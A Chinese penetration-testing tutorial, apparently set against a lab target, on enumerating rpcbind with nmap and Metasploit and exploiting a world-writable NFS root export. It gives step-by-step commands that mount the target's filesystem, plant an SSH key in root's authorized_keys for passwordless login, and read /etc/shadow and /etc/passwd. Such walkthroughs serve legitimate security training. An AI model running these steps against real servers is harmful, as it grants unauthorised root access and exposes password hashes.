目录
1、相关服务介绍
1.1 NFS
1.2 RPC服务
2、探测目标rpcbind
2.1 探测版本信息
2.2 nmap脚本探测
2.3 使用metasploit模块验证
1、相关服务介绍
1.1 NFS
NFS(network file system):网络文件系统。Linux下三大文件系统之一,采用C/S架构。允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS应用中,本地NFS客户端可以透明的读写位于远端NFS服务器上的文件。
NFS服务端机器:通过NFS协议将文件共享到网络上
NFS客户端机器:通过网络挂载NFS共享目录到本地
补充:NFS服务器主要进程
1 rpc.nfsd 进程
NFS 服务的主进程,主要管理客户端是否能够接入 NFS 服务器以及数据的传输。该进程固定监听 TCP/UDP 2049 端口。
2 rpc.mountd 进程
管理和维护 NFS 文件系统,根据所设定的权限决定是否允许客户端挂载指定的共享目录。该进程监听的端口默认是不固定的。
3 rpc.lockd 进程
提供文件锁功能,防止多个客户端同时写入一个文件。该进程监听的端口默认是不固定的。
4 rpc.statd 进程
负责检查数据的状态及一致性,需要与 rpc.lockd 配合使用。该进程监听的端口默认是不固定的。
5 rpcbind 进程
RPC 的端口映射器进程,监听 UDP 111 端口。
更多参考:
NFS详解(概念+实验演示)_Eichi_的博客-CSDN博客_nfs
1.2 RPC服务
RPC(Remote Procedure Call):远程过程调用协议。
NFS 只提供了基本的文件处理功能,而不提供任何 TCP/IP 数据传输功能。它需要借助 RPC 协议才能实现 TCP/IP 数据传输功能。
RPC 最主要的功能就是在指定每个 NFS 功能所对应的端口序号(port number ),并且回报给客户端,让客户端可以连结到正确的物理端口(port)上去。
本文实验即通过此探测此服务,获取NFS相关服务信息。
补充:shodan搜索发现,全球开启111端口的服务器约210万
2、探测目标rpcbind
2.1 探测版本信息
nmap -sV -p 111 192.168.x.xx
//探测rpcbind版本信息
searchsploit rpcbind
//搜索相关漏洞
2.2 nmap脚本探测
nmap -p 111 --script=rpcinfo 192.168.x.xx
//探测目标的rpcinfo信息
2.3 使用metasploit模块验证
use auxiliary/scanner/misc/sunrpc_portmapper
//SunRPC Portmap程序枚举器
//此模块调用目标端口映射服务并枚举所有程序条目及其运行端口号。
show info
//查看模块信息
3、Linux NFS共享目录配置漏洞
原理: NFS服务配置漏洞赋予了根目录远程可写权限,导致
/root/.ssh/authorized_keys
可被修改,实现远程ssh无密码登录,或可导致NFS服务器文件被导出。
nmap --script=nfs-* IP
//星号加载所有有关于nfs探测的脚本,来探测对应目标的IP地址
除了可以使用nmap判断nfs是否可以导出,我们还可以使用showmount命令确定“/”共享(文件系统的根)是否可以导出到本地。可能需要安装nfs-common包才能使用"showmount"命令
apt-get install nfs-common
//安装nfs-common包
showmount -e IP
//showmount(show mounted disk),其功能是用于显示NFS服务器的共享信息。
//-d 仅显示已被NFS客户端加载的目录
//-e 显示NFS服务器上所有的共享目录
/*表示根目录下的内容,都可以导出
(1)远程SSH无密登录
ssh-keygen
//生成RSA公钥
cd /tmp
mkdir troot(名字随意)
mount –t nfs IP:/ /tmp/troot
//把192.168.92.9的根目录挂载到/tmp/troot/下
cat /root/.ssh/id_rsa.pub>>/tmp/troot/root/.ssh/authorized_keys
//把生成的公钥追加到靶机的authorized_keys
文章来源:https://www.toymoban.com/news/detail-787354.html
ssh root@IP
//实现无密码登录
(2)导出NFS服务器文件文章来源地址https://www.toymoban.com/news/detail-787354.html
cd ~
mkdir nfs_root
//确定要导出新建的内容
mount -t nfs IP地址:/ ~/nfs_root -o nolock
//-o nolock表示不加任何处理,直接输出
cat ~/nfs_root/etc/shadow
//查看shadow文件
cat ~/nfs-root/etc/passwd
//查看passwd文件
到了这里,关于4.8、漏洞利用-NSF配置漏洞与Rpcbind信息泄露的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!